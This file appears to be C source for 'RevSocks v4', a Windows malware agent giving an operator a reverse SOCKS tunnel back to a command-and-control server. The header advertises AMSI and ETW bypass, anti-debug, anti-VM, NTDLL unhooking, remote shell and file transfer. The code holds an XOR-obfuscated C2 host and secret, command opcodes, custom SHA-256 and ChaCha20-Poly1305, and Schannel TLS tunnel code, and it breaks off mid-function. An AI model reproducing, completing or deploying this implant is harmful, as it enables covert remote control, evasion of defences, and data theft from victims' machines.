/*
 * RevSocks v4 Agent — Full-featured encrypted reverse SOCKS proxy
 *
 * Changes from v3:
 *   - Schannel TLS on tunnel connection (double encryption: TLS + ChaCha20)
 *   - Dynamic API resolution (all WinAPI via GetProcAddress)
 *   - XOR-encrypted configuration strings (C2 host, secret, API names)
 *   - ETW bypass (patch EtwEventWrite)
 *   - AMSI bypass (patch AmsiScanBuffer)
 *   - Anti-debug (PEB, NtGlobalFlag, RDTSC timing)
 *   - Anti-VM (core count, RAM, idle time, process list)
 *   - NTDLL unhooking (remap from KnownDlls)
 *   - Shell command support (CMD_SHELL_OPEN)
 *   - File transfer (CMD_DOWNLOAD / CMD_UPLOAD)
 *   - Fixed VLA bugs in tunnel_send/recv (HeapAlloc)
 *   - Frame size validation (reject > 1MB)
 *   - Sleep obfuscation (CreateTimerQueueTimer)
 *
 * Compile:
 *   x86_64-w64-mingw32-gcc -O2 -s -mwindows -nostartfiles -e WinMain \
 *       -fno-builtin -o agent.exe agent.c \
 *       -lws2_32 -lkernel32 -luser32 -lwininet -lsecur32
 */

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>
#define SECURITY_WIN32
#include <security.h>
#include <schannel.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "secur32.lib")

/* =========================================================================
 * SECTION A: CRT Replacements (no CRT dependency)
 * ========================================================================= */
#pragma function(memset)
void *memset(void *d, int c, size_t n) {
    unsigned char *p = (unsigned char*)d;
    while (n--) *p++ = (unsigned char)c;
    return d;
}
#pragma function(memcpy)
void *memcpy(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char*)d;
    const unsigned char *sp = (const unsigned char*)s;
    while (n--) *dp++ = *sp++;
    return d;
}
#pragma function(memcmp)
int memcmp(const void *a, const void *b, size_t n) {
    const unsigned char *pa = (const unsigned char*)a;
    const unsigned char *pb = (const unsigned char*)b;
    while (n--) { if (*pa != *pb) return *pa - *pb; pa++; pb++; }
    return 0;
}
void *memmove(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char*)d;
    const unsigned char *sp = (const unsigned char*)s;
    if (dp < sp) { while (n--) *dp++ = *sp++; }
    else { dp += n; sp += n; while (n--) *--dp = *--sp; }
    return d;
}
size_t strlen(const char *s) { size_t n = 0; while (*s++) n++; return n; }

/* =========================================================================
 * SECTION B: Configuration (XOR-encrypted, patched by build)
 * ========================================================================= */
#define STR_XOR_KEY 0x5A

#define C2_PORT          443
#define RECONNECT_DELAY  5000
#define RECONNECT_JITTER 3000
#define MAX_STREAMS      256
#define BUF_SIZE         131072
#define MAX_FRAME_SIZE   1048576  /* 1 MB max frame */

/* Command opcodes */
#define CMD_CONNECT      0x01
#define CMD_DATA         0x02
#define CMD_CLOSE        0x03
#define CMD_CONNECT_OK   0x04
#define CMD_CONNECT_FAIL 0x05
#define CMD_HEARTBEAT    0x06
#define CMD_SLEEP        0x07
#define CMD_SET_SLEEP    0x08
#define CMD_IDENT        0x09  /* agent -> server: hostname\0username */
#define CMD_SHELL_OPEN   0x10
#define CMD_SHELL_DATA   0x11
#define CMD_SHELL_CLOSE  0x12
#define CMD_DOWNLOAD     0x20
#define CMD_DOWNLOAD_DATA 0x21
#define CMD_DOWNLOAD_END 0x22
#define CMD_DOWNLOAD_ERR 0x23
#define CMD_UPLOAD       0x30
#define CMD_UPLOAD_DATA  0x31
#define CMD_UPLOAD_END   0x32
#define CMD_UPLOAD_OK    0x33
#define CMD_UPLOAD_ERR   0x34

/* XOR-encrypted C2 host: "77.110.109.248" */
static unsigned char enc_c2_host[] = {0x19,0x12,0x1b,0x14,0x1d,0x1f,0x17,0x1f,0x05,0x13,0x0a};
#define ENC_C2_HOST_LEN 11

/* XOR-encrypted shared secret: "f191074b103901bb58a4ca37494e4cf6" */
static unsigned char enc_secret[] = {0x19,0x12,0x1b,0x14,0x1d,0x1f,0x05,0x0e,0x12,0x13,0x09,0x05,0x09,0x1f,0x19,0x08,0x1f,0x0e,0x05,0x11,0x1f,0x03,0x05,0x69,0x68,0x05,0x19,0x12,0x1b,0x08,0x02};
#define ENC_SECRET_LEN 31

/* XOR-encrypted tunnel KDF prefix: "chacha20_tunnel_v4_" */
static unsigned char enc_tunnel_prefix[] = {0x39,0x32,0x3b,0x39,0x32,0x3b,0x68,0x6a,0x05,0x2e,0x2f,0x34,0x34,0x3f,0x36,0x05,0x2c,0x6e,0x05};
#define ENC_TUNNEL_PREFIX_LEN 19

/* Decrypt XOR string into caller-supplied buffer, null-terminate */
static void decrypt_str(const unsigned char *enc, int len, char *out) {
    for (int i = 0; i < len; i++) out[i] = (char)(enc[i] ^ STR_XOR_KEY);
    out[len] = '\0';
}

/* Decrypt into stack buffer, use, then zero.  Macro for convenience. */
#define DECRYPT_STACK(enc, enclen, varname) \
    char varname[(enclen) + 1]; \
    decrypt_str((enc), (enclen), (varname))

#define ZERO_STACK(varname, enclen) memset((varname), 0, (enclen) + 1)

/* =========================================================================
 * SECTION C: SHA-256
 * ========================================================================= */
typedef struct { uint32_t state[8]; uint64_t count; uint8_t buf[64]; } SHA256_CTX;
static const uint32_t K256[64] = {
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
#define RR(x,n) (((x)>>(n))|((x)<<(32-(n))))
#define S0(x) (RR(x,2)^RR(x,13)^RR(x,22))
#define S1(x) (RR(x,6)^RR(x,11)^RR(x,25))
#define s0(x) (RR(x,7)^RR(x,18)^((x)>>3))
#define s1(x) (RR(x,17)^RR(x,19)^((x)>>10))
#define CH(x,y,z) (((x)&(y))^((~(x))&(z)))
#define MAJ(x,y,z) (((x)&(y))^((x)&(z))^((y)&(z)))

static void sha256_transform(SHA256_CTX *ctx, const uint8_t *data) {
    uint32_t W[64], a, b, c, d, e, f, g, h, t1, t2;
    int i;
    for (i = 0; i < 16; i++)
        W[i] = (data[i*4]<<24)|(data[i*4+1]<<16)|(data[i*4+2]<<8)|data[i*4+3];
    for (i = 16; i < 64; i++)
        W[i] = s1(W[i-2]) + W[i-7] + s0(W[i-15]) + W[i-16];
    a=ctx->state[0]; b=ctx->state[1]; c=ctx->state[2]; d=ctx->state[3];
    e=ctx->state[4]; f=ctx->state[5]; g=ctx->state[6]; h=ctx->state[7];
    for (i = 0; i < 64; i++) {
        t1 = h + S1(e) + CH(e,f,g) + K256[i] + W[i];
        t2 = S0(a) + MAJ(a,b,c);
        h=g; g=f; f=e; e=d+t1; d=c; c=b; b=a; a=t1+t2;
    }
    ctx->state[0]+=a; ctx->state[1]+=b; ctx->state[2]+=c; ctx->state[3]+=d;
    ctx->state[4]+=e; ctx->state[5]+=f; ctx->state[6]+=g; ctx->state[7]+=h;
}

static void sha256_init(SHA256_CTX *ctx) {
    ctx->state[0]=0x6a09e667; ctx->state[1]=0xbb67ae85;
    ctx->state[2]=0x3c6ef372; ctx->state[3]=0xa54ff53a;
    ctx->state[4]=0x510e527f; ctx->state[5]=0x9b05688c;
    ctx->state[6]=0x1f83d9ab; ctx->state[7]=0x5be0cd19;
    ctx->count = 0;
}

static void sha256_update(SHA256_CTX *ctx, const uint8_t *data, size_t len) {
    size_t i, idx = ctx->count % 64;
    ctx->count += len;
    for (i = 0; i < len; i++) {
        ctx->buf[idx++] = data[i];
        if (idx == 64) { sha256_transform(ctx, ctx->buf); idx = 0; }
    }
}

static void sha256_final(SHA256_CTX *ctx, uint8_t *hash) {
    uint64_t bits = ctx->count * 8;
    size_t idx = ctx->count % 64;
    ctx->buf[idx++] = 0x80;
    if (idx > 56) {
        while (idx < 64) ctx->buf[idx++] = 0;
        sha256_transform(ctx, ctx->buf); idx = 0;
    }
    while (idx < 56) ctx->buf[idx++] = 0;
    for (int i = 7; i >= 0; i--) ctx->buf[56+(7-i)] = (bits >> (i*8)) & 0xff;
    sha256_transform(ctx, ctx->buf);
    for (int i = 0; i < 8; i++) {
        hash[i*4]   = (ctx->state[i]>>24) & 0xff;
        hash[i*4+1] = (ctx->state[i]>>16) & 0xff;
        hash[i*4+2] = (ctx->state[i]>>8)  & 0xff;
        hash[i*4+3] =  ctx->state[i]      & 0xff;
    }
}

static void sha256_hash(const uint8_t *d, size_t l, uint8_t *o) {
    SHA256_CTX c; sha256_init(&c); sha256_update(&c, d, l); sha256_final(&c, o);
}

/* =========================================================================
 * SECTION D: ChaCha20-Poly1305 (VLA bug fixed, heap-allocated mac_data)
 * ========================================================================= */
#define ROTL32(x,n) (((x)<<(n))|((x)>>(32-(n))))

static void chacha20_quarter(uint32_t *s, int a, int b, int c, int d) {
    s[a]+=s[b]; s[d]^=s[a]; s[d]=ROTL32(s[d],16);
    s[c]+=s[d]; s[b]^=s[c]; s[b]=ROTL32(s[b],12);
    s[a]+=s[b]; s[d]^=s[a]; s[d]=ROTL32(s[d],8);
    s[c]+=s[d]; s[b]^=s[c]; s[b]=ROTL32(s[b],7);
}

static void chacha20_block(const uint8_t key[32], uint32_t counter,
                           const uint8_t nonce[12], uint8_t out[64]) {
    uint32_t state[16] = {
        0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
        0,0,0,0, 0,0,0,0,
        counter, 0,0,0
    };
    int i;
    for (i = 0; i < 8; i++)
        state[4+i] = (uint32_t)key[i*4] | ((uint32_t)key[i*4+1]<<8) |
                     ((uint32_t)key[i*4+2]<<16) | ((uint32_t)key[i*4+3]<<24);
    state[13] = (uint32_t)nonce[0]  | ((uint32_t)nonce[1]<<8)  |
                ((uint32_t)nonce[2]<<16) | ((uint32_t)nonce[3]<<24);
    state[14] = (uint32_t)nonce[4]  | ((uint32_t)nonce[5]<<8)  |
                ((uint32_t)nonce[6]<<16) | ((uint32_t)nonce[7]<<24);
    state[15] = (uint32_t)nonce[8]  | ((uint32_t)nonce[9]<<8)  |
                ((uint32_t)nonce[10]<<16)| ((uint32_t)nonce[11]<<24);
    uint32_t w[16];
    memcpy(w, state, 64);
    for (i = 0; i < 10; i++) {
        chacha20_quarter(w,0,4,8,12);  chacha20_quarter(w,1,5,9,13);
        chacha20_quarter(w,2,6,10,14); chacha20_quarter(w,3,7,11,15);
        chacha20_quarter(w,0,5,10,15); chacha20_quarter(w,1,6,11,12);
        chacha20_quarter(w,2,7,8,13);  chacha20_quarter(w,3,4,9,14);
    }
    for (i = 0; i < 16; i++) {
        uint32_t v = w[i] + state[i];
        out[i*4]=(uint8_t)(v); out[i*4+1]=(uint8_t)(v>>8);
        out[i*4+2]=(uint8_t)(v>>16); out[i*4+3]=(uint8_t)(v>>24);
    }
}

static void chacha20_crypt(const uint8_t key[32], const uint8_t nonce[12],
                           uint32_t counter, uint8_t *data, int len) {
    uint8_t block[64];
    int pos = 0;
    while (pos < len) {
        chacha20_block(key, counter++, nonce, block);
        int chunk = (len - pos) > 64 ? 64 : (len - pos);
        for (int i = 0; i < chunk; i++) data[pos+i] ^= block[i];
        pos += chunk;
    }
}

/* Poly1305 MAC */
typedef struct { uint32_t r[5], h[5], pad[4]; } Poly1305Ctx;

static void poly1305_init(Poly1305Ctx *ctx, const uint8_t key[32]) {
    ctx->r[0] = ((uint32_t)key[0]|((uint32_t)key[1]<<8)|((uint32_t)key[2]<<16)|((uint32_t)key[3]<<24)) & 0x3ffffff;
    ctx->r[1] = (((uint32_t)key[3]|((uint32_t)key[4]<<8)|((uint32_t)key[5]<<16)|((uint32_t)key[6]<<24))>>2) & 0x3ffff03;
    ctx->r[2] = (((uint32_t)key[6]|((uint32_t)key[7]<<8)|((uint32_t)key[8]<<16)|((uint32_t)key[9]<<24))>>4) & 0x3ffc0ff;
    ctx->r[3] = (((uint32_t)key[9]|((uint32_t)key[10]<<8)|((uint32_t)key[11]<<16)|((uint32_t)key[12]<<24))>>6) & 0x3f03fff;
    ctx->r[4] = (((uint32_t)key[12]|((uint32_t)key[13]<<8)|((uint32_t)key[14]<<16)|((uint32_t)key[15]<<24))>>8) & 0x00fffff;
    for (int i = 0; i < 5; i++) ctx->h[i] = 0;
    ctx->pad[0] = (uint32_t)key[16]|((uint32_t)key[17]<<8)|((uint32_t)key[18]<<16)|((uint32_t)key[19]<<24);
    ctx->pad[1] = (uint32_t)key[20]|((uint32_t)key[21]<<8)|((uint32_t)key[22]<<16)|((uint32_t)key[23]<<24);
    ctx->pad[2] = (uint32_t)key[24]|((uint32_t)key[25]<<8)|((uint32_t)key[26]<<16)|((uint32_t)key[27]<<24);
    ctx->pad[3] = (uint32_t)key[28]|((uint32_t)key[29]<<8)|((uint32_t)key[30]<<16)|((uint32_t)key[31]<<24);
}

static void poly1305_blocks(Poly1305Ctx *ctx, const uint8_t *msg, int len, int final_block) {
    uint32_t hibit = final_block ? 0 : (1 << 24);
    uint32_t r0=ctx->r[0],r1=ctx->r[1],r2=ctx->r[2],r3=ctx->r[3],r4=ctx->r[4];
    uint32_t s1r=r1*5,s2=r2*5,s3=r3*5,s4=r4*5;
    uint32_t h0=ctx->h[0],h1=ctx->h[1],h2=ctx->h[2],h3=ctx->h[3],h4=ctx->h[4];
    while (len >= 16) {
        h0 += ((uint32_t)msg[0]|((uint32_t)msg[1]<<8)|((uint32_t)msg[2]<<16)|((uint32_t)msg[3]<<24)) & 0x3ffffff;
        h1 += (((uint32_t)msg[3]|((uint32_t)msg[4]<<8)|((uint32_t)msg[5]<<16)|((uint32_t)msg[6]<<24))>>2) & 0x3ffffff;
        h2 += (((uint32_t)msg[6]|((uint32_t)msg[7]<<8)|((uint32_t)msg[8]<<16)|((uint32_t)msg[9]<<24))>>4) & 0x3ffffff;
        h3 += (((uint32_t)msg[9]|((uint32_t)msg[10]<<8)|((uint32_t)msg[11]<<16)|((uint32_t)msg[12]<<24))>>6) & 0x3ffffff;
        h4 += (((uint32_t)msg[12]|((uint32_t)msg[13]<<8)|((uint32_t)msg[14]<<16)|((uint32_t)msg[15]<<24))>>8) | hibit;
        uint64_t d0 = (uint64_t)h0*r0 + (uint64_t)h1*s4 + (uint64_t)h2*s3 + (uint64_t)h3*s2 + (uint64_t)h4*s1r;
        uint64_t d1 = (uint64_t)h0*r1 + (uint64_t)h1*r0 + (uint64_t)h2*s4 + (uint64_t)h3*s3 + (uint64_t)h4*s2;
        uint64_t d2 = (uint64_t)h0*r2 + (uint64_t)h1*r1 + (uint64_t)h2*r0 + (uint64_t)h3*s4 + (uint64_t)h4*s3;
        uint64_t d3 = (uint64_t)h0*r3 + (uint64_t)h1*r2 + (uint64_t)h2*r1 + (uint64_t)h3*r0 + (uint64_t)h4*s4;
        uint64_t d4 = (uint64_t)h0*r4 + (uint64_t)h1*r3 + (uint64_t)h2*r2 + (uint64_t)h3*r1 + (uint64_t)h4*r0;
        uint32_t cc;
        cc=(uint32_t)(d0>>26); h0=(uint32_t)d0&0x3ffffff; d1+=cc;
        cc=(uint32_t)(d1>>26); h1=(uint32_t)d1&0x3ffffff; d2+=cc;
        cc=(uint32_t)(d2>>26); h2=(uint32_t)d2&0x3ffffff; d3+=cc;
        cc=(uint32_t)(d3>>26); h3=(uint32_t)d3&0x3ffffff; d4+=cc;
        cc=(uint32_t)(d4>>26); h4=(uint32_t)d4&0x3ffffff; h0+=cc*5;
        cc=h0>>26; h0&=0x3ffffff; h1+=cc;
        msg += 16; len -= 16;
    }
    ctx->h[0]=h0; ctx->h[1]=h1; ctx->h[2]=h2; ctx->h[3]=h3; ctx->h[4]=h4;
}

static void poly1305_finish(Poly1305Ctx *ctx, uint8_t mac[16]) {
    uint32_t h0=ctx->h[0],h1=ctx->h[1],h2=ctx->h[2],h3=ctx->h[3],h4=ctx->h[4];
    uint32_t cc;
    cc=h1>>26; h1&=0x3ffffff; h2+=cc;
    cc=h2>>26; h2&=0x3ffffff; h3+=cc;
    cc=h3>>26; h3&=0x3ffffff; h4+=cc;
    cc=h4>>26; h4&=0x3ffffff; h0+=cc*5;
    cc=h0>>26; h0&=0x3ffffff; h1+=cc;
    uint32_t g0=h0+5; cc=g0>>26; g0&=0x3ffffff;
    uint32_t g1=h1+cc; cc=g1>>26; g1&=0x3ffffff;
    uint32_t g2=h2+cc; cc=g2>>26; g2&=0x3ffffff;
    uint32_t g3=h3+cc; cc=g3>>26; g3&=0x3ffffff;
    uint32_t g4=h4+cc-(1<<26);
    uint32_t mask = (g4 >> 31) - 1;
    g0 &= mask; g1 &= mask; g2 &= mask; g3 &= mask; g4 &= mask;
    mask = ~mask;
    h0=(h0&mask)|g0; h1=(h1&mask)|g1; h2=(h2&mask)|g2; h3=(h3&mask)|g3; h4=(h4&mask)|g4;
    uint32_t f0,f1,f2,f3;
    uint64_t t;
    t = (uint64_t)(h0|(h1<<26)) + ctx->pad[0]; f0=(uint32_t)t; cc=(uint32_t)(t>>32);
    t = (uint64_t)((h1>>6)|(h2<<20)) + ctx->pad[1] + cc; f1=(uint32_t)t; cc=(uint32_t)(t>>32);
    t = (uint64_t)((h2>>12)|(h3<<14)) + ctx->pad[2] + cc; f2=(uint32_t)t; cc=(uint32_t)(t>>32);
    t = (uint64_t)((h3>>18)|(h4<<8)) + ctx->pad[3] + cc; f3=(uint32_t)t;
    mac[0]=(uint8_t)f0; mac[1]=(uint8_t)(f0>>8); mac[2]=(uint8_t)(f0>>16); mac[3]=(uint8_t)(f0>>24);
    mac[4]=(uint8_t)f1; mac[5]=(uint8_t)(f1>>8); mac[6]=(uint8_t)(f1>>16); mac[7]=(uint8_t)(f1>>24);
    mac[8]=(uint8_t)f2; mac[9]=(uint8_t)(f2>>8); mac[10]=(uint8_t)(f2>>16); mac[11]=(uint8_t)(f2>>24);
    mac[12]=(uint8_t)f3; mac[13]=(uint8_t)(f3>>8); mac[14]=(uint8_t)(f3>>16); mac[15]=(uint8_t)(f3>>24);
}

static void poly1305_mac(const uint8_t *msg, int mlen, const uint8_t key[32], uint8_t mac[16]) {
    Poly1305Ctx ctx;
    poly1305_init(&ctx, key);
    if (mlen > 0) {
        int full = mlen & ~15;
        if (full > 0) poly1305_blocks(&ctx, msg, full, 0);
        if (mlen > full) {
            uint8_t last[16]; memset(last, 0, 16);
            int rem = mlen - full;
            memcpy(last, msg + full, rem);
            last[rem] = 1;
            poly1305_blocks(&ctx, last, 16, 1);
        }
    }
    poly1305_finish(&ctx, mac);
}

/* AEAD context */
typedef struct {
    uint8_t key[32];
    uint64_t send_ctr;
    uint64_t recv_ctr;
} CC20Ctx;

static CRITICAL_SECTION g_lock;

static void cc20_init(CC20Ctx *ctx, const uint8_t *secret, int slen) {
    SHA256_CTX h;
    char prefix[ENC_TUNNEL_PREFIX_LEN + 1];
    decrypt_str(enc_tunnel_prefix, ENC_TUNNEL_PREFIX_LEN, prefix);
    sha256_init(&h);
    sha256_update(&h, (uint8_t*)prefix, ENC_TUNNEL_PREFIX_LEN);
    sha256_update(&h, secret, slen);
    sha256_final(&h, ctx->key);
    memset(prefix, 0, sizeof(prefix));
    ctx->send_ctr = 0;
    ctx->recv_ctr = 0;
}

static void cc20_make_nonce(uint64_t ctr, uint8_t nonce[12]) {
    memset(nonce, 0, 4);
    nonce[4]=(uint8_t)(ctr);     nonce[5]=(uint8_t)(ctr>>8);
    nonce[6]=(uint8_t)(ctr>>16); nonce[7]=(uint8_t)(ctr>>24);
    nonce[8]=(uint8_t)(ctr>>32); nonce[9]=(uint8_t)(ctr>>40);
    nonce[10]=(uint8_t)(ctr>>48);nonce[11]=(uint8_t)(ctr>>56);
}

/* Build AEAD MAC data for Poly1305 — heap-allocated to fix VLA */
static int cc20_build_mac_data(const uint8_t *aad, int aad_len,
                                const uint8_t *ct, int ct_len,
                                uint8_t **out_ptr) {
    int pad1 = (16 - (aad_len % 16)) % 16;
    int pad2 = (16 - (ct_len % 16)) % 16;
    int total = aad_len + pad1 + ct_len + pad2 + 16;
    uint8_t *out = (uint8_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, total);
    if (!out) { *out_ptr = NULL; return 0; }
    int pos = 0;
    if (aad_len > 0) { memcpy(out + pos, aad, aad_len); pos += aad_len; }
    pos += pad1;
    memcpy(out + pos, ct, ct_len); pos += ct_len;
    pos += pad2;
    uint64_t al = aad_len, cl = ct_len;
    for (int i = 0; i < 8; i++) out[pos++] = (uint8_t)(al >> (i*8));
    for (int i = 0; i < 8; i++) out[pos++] = (uint8_t)(cl >> (i*8));
    *out_ptr = out;
    return pos;
}

/* =========================================================================
 * SECTION D2: Schannel TLS — provides TLS 1.2 over raw TCP socket
 * ========================================================================= */
#define TLS_RECV_BUF_SIZE  (32768 + 256)
#define TLS_MAX_PLAINTEXT  16384

typedef struct {
    SOCKET          sock;
    CredHandle      cred;
    CtxtHandle      ctx;
    SecPkgContext_StreamSizes sizes;
    int             cred_valid;
    int             ctx_valid;
    uint8_t        *recv_buf;
    int             recv_buf_used;
    uint8_t        *extra_buf;
    int             extra_len;
    int             extra_cap;
} TLS_CTX;

static int raw_send_all(SOCKET s, const uint8_t *buf, int len) {
    int sent = 0;
    while (sent < len) {
        int r = send(s, (const char*)(buf + sent), len - sent, 0);
        if (r <= 0) return -1;
        sent += r;
    }
    return sent;
}

static int raw_recv_some(SOCKET s, uint8_t *buf, int max) {
    return recv(s, (char*)buf, max, 0);
}

static int tls_init_creds(TLS_CTX *tls) {
    SCHANNEL_CRED scred;
    memset(&scred, 0, sizeof(scred));
    scred.dwVersion = SCHANNEL_CRED_VERSION;
    scred.grbitEnabledProtocols = SP_PROT_TLS1_2;
    scred.dwFlags = SCH_CRED_NO_DEFAULT_CREDS | SCH_CRED_MANUAL_CRED_VALIDATION;
    
    SECURITY_STATUS ss = AcquireCredentialsHandleA(
        NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
        SECPKG_CRED_OUTBOUND, NULL, &scred, NULL, NULL,
        &tls->cred, NULL);
    if (ss != SEC_E_OK) return -1;
    tls->cred_valid = 1;
    return 0;
}

static int tls_handshake(TLS_CTX *tls, const char *hostname) {
    DWORD ctx_flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT |
                      ISC_REQ_CONFIDENTIALITY | ISC_REQ_ALLOCATE_MEMORY |
                      ISC_REQ_STREAM;
    
    int hs_buf_cap = TLS_RECV_BUF_SIZE;
    uint8_t *hs_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, hs_buf_cap);
    if (!hs_buf) return -1;
    int hs_buf_used = 0;
    int ctx_created = 0;
    SECURITY_STATUS ss;
    
    for (;;) {
        SecBuffer in_bufs[2], out_buf;
        SecBufferDesc in_desc, out_desc;
        DWORD out_flags = 0;
        
        out_buf.BufferType = SECBUFFER_TOKEN;
        out_buf.cbBuffer = 0;
        out_buf.pvBuffer = NULL;
        out_desc.ulVersion = SECBUFFER_VERSION;
        out_desc.cBuffers = 1;
        out_desc.pBuffers = &out_buf;
        
        SecBufferDesc *p_in = NULL;
        if (ctx_created && hs_buf_used > 0) {
            in_bufs[0].BufferType = SECBUFFER_TOKEN;
            in_bufs[0].cbBuffer = hs_buf_used;
            in_bufs[0].pvBuffer = hs_buf;
            in_bufs[1].BufferType = SECBUFFER_EMPTY;
            in_bufs[1].cbBuffer = 0;
            in_bufs[1].pvBuffer = NULL;
            in_desc.ulVersion = SECBUFFER_VERSION;
            in_desc.cBuffers = 2;
            in_desc.pBuffers = in_bufs;
            p_in = &in_desc;
        }
        
        ss = InitializeSecurityContextA(
            &tls->cred, ctx_created ? &tls->ctx : NULL,
            (SEC_CHAR*)hostname, ctx_flags, 0, 0,
            p_in, 0,
            ctx_created ? NULL : &tls->ctx,
            &out_desc, &out_flags, NULL);
        
        if (!ctx_created && (ss == SEC_I_CONTINUE_NEEDED || ss == SEC_E_OK))
            ctx_created = 1;
        
        /* Send outbound token if any */
        if (out_buf.cbBuffer > 0 && out_buf.pvBuffer) {
            if (raw_send_all(tls->sock, (uint8_t*)out_buf.pvBuffer, out_buf.cbBuffer) < 0) {
                FreeContextBuffer(out_buf.pvBuffer);
                HeapFree(GetProcessHeap(), 0, hs_buf);
                return -1;
            }
            FreeContextBuffer(out_buf.pvBuffer);
        }
        
        if (ss == SEC_E_OK) {
            /* Check for extra data */
            if (p_in) {
                int i;
                for (i = 0; i < 2; i++) {
                    if (in_bufs[i].BufferType == SECBUFFER_EXTRA && in_bufs[i].cbBuffer > 0) {
                        int extra = in_bufs[i].cbBuffer;
                        memmove(tls->recv_buf, hs_buf + (hs_buf_used - extra), extra);
                        tls->recv_buf_used = extra;
                    }
                }
            }
            tls->ctx_valid = 1;
            QueryContextAttributes(&tls->ctx, SECPKG_ATTR_STREAM_SIZES, &tls->sizes);
            HeapFree(GetProcessHeap(), 0, hs_buf);
            return 0;
        }
        
        if (ss == SEC_I_CONTINUE_NEEDED || ss == SEC_E_INCOMPLETE_MESSAGE) {
            /* Handle EXTRA data */
            if (ss == SEC_I_CONTINUE_NEEDED && p_in) {
                int extra = 0, i;
                for (i = 0; i < 2; i++) {
                    if (in_bufs[i].BufferType == SECBUFFER_EXTRA && in_bufs[i].cbBuffer > 0)
                        extra = in_bufs[i].cbBuffer;
                }
                if (extra > 0)
                    memmove(hs_buf, hs_buf + (hs_buf_used - extra), extra);
                hs_buf_used = extra;
            }
            
            /* Read more TLS records */
            if (hs_buf_used >= hs_buf_cap) {
                HeapFree(GetProcessHeap(), 0, hs_buf);
                return -1;
            }
            int r = raw_recv_some(tls->sock, hs_buf + hs_buf_used, hs_buf_cap - hs_buf_used);
            if (r <= 0) {
                HeapFree(GetProcessHeap(), 0, hs_buf);
                return -1;
            }
            hs_buf_used += r;
            continue;
        }
        
        /* Any other status is fatal */
        HeapFree(GetProcessHeap(), 0, hs_buf);
        return -1;
    }
}

static TLS_CTX *tls_connect(SOCKET sock, const char *hostname) {
    TLS_CTX *tls = (TLS_CTX*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(TLS_CTX));
    if (!tls) return NULL;
    tls->sock = sock;
    tls->recv_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, TLS_RECV_BUF_SIZE);
    if (!tls->recv_buf) { HeapFree(GetProcessHeap(), 0, tls); return NULL; }
    tls->recv_buf_used = 0;
    tls->extra_cap = TLS_MAX_PLAINTEXT;
    tls->extra_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, tls->extra_cap);
    if (!tls->extra_buf) {
        HeapFree(GetProcessHeap(), 0, tls->recv_buf);
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }
    tls->extra_len = 0;
    
    if (tls_init_creds(tls) != 0) {
        HeapFree(GetProcessHeap(), 0, tls->extra_buf);
        HeapFree(GetProcessHeap(), 0, tls->recv_buf);
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }
    if (tls_handshake(tls, hostname) != 0) {
        if (tls->cred_valid) FreeCredentialsHandle(&tls->cred);
        HeapFree(GetProcessHeap(), 0, tls->extra_buf);
        HeapFree(GetProcessHeap(), 0, tls->recv_buf);
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }
    return tls;
}

static void tls_shutdown(TLS_CTX *tls) {
    if (!tls) return;
    if (tls->ctx_valid) {
        DWORD shut_type = SCHANNEL_SHUTDOWN;
        SecBuffer shut_buf;
        SecBufferDesc shut_desc;
        shut_buf.BufferType = SECBUFFER_TOKEN;
        shut_buf.cbBuffer = sizeof(shut_type);
        shut_buf.pvBuffer = &shut_type;
        shut_desc.ulVersion = SECBUFFER_VERSION;
        shut_desc.cBuffers = 1;
        shut_desc.pBuffers = &shut_buf;
        ApplyControlToken(&tls->ctx, &shut_desc);
        
        SecBuffer out_buf;
        SecBufferDesc out_desc;
        DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT |
                      ISC_REQ_CONFIDENTIALITY | ISC_REQ_ALLOCATE_MEMORY |
                      ISC_REQ_STREAM;
        DWORD out_flags = 0;
        out_buf.BufferType = SECBUFFER_TOKEN;
        out_buf.cbBuffer = 0;
        out_buf.pvBuffer = NULL;
        out_desc.ulVersion = SECBUFFER_VERSION;
        out_desc.cBuffers = 1;
        out_desc.pBuffers = &out_buf;
        
        SECURITY_STATUS ss = InitializeSecurityContextA(
            &tls->cred, &tls->ctx, NULL, flags, 0, 0,
            NULL, 0, NULL, &out_desc, &out_flags, NULL);
        if (ss == SEC_E_OK || ss == SEC_I_CONTEXT_EXPIRED) {
            if (out_buf.cbBuffer > 0 && out_buf.pvBuffer) {
                raw_send_all(tls->sock, (uint8_t*)out_buf.pvBuffer, out_buf.cbBuffer);
                FreeContextBuffer(out_buf.pvBuffer);
            }
        }
        DeleteSecurityContext(&tls->ctx);
    }
    if (tls->cred_valid) FreeCredentialsHandle(&tls->cred);
    if (tls->recv_buf) HeapFree(GetProcessHeap(), 0, tls->recv_buf);
